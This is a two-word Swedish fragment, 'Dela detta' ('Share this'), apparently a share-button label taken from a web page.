Dela detta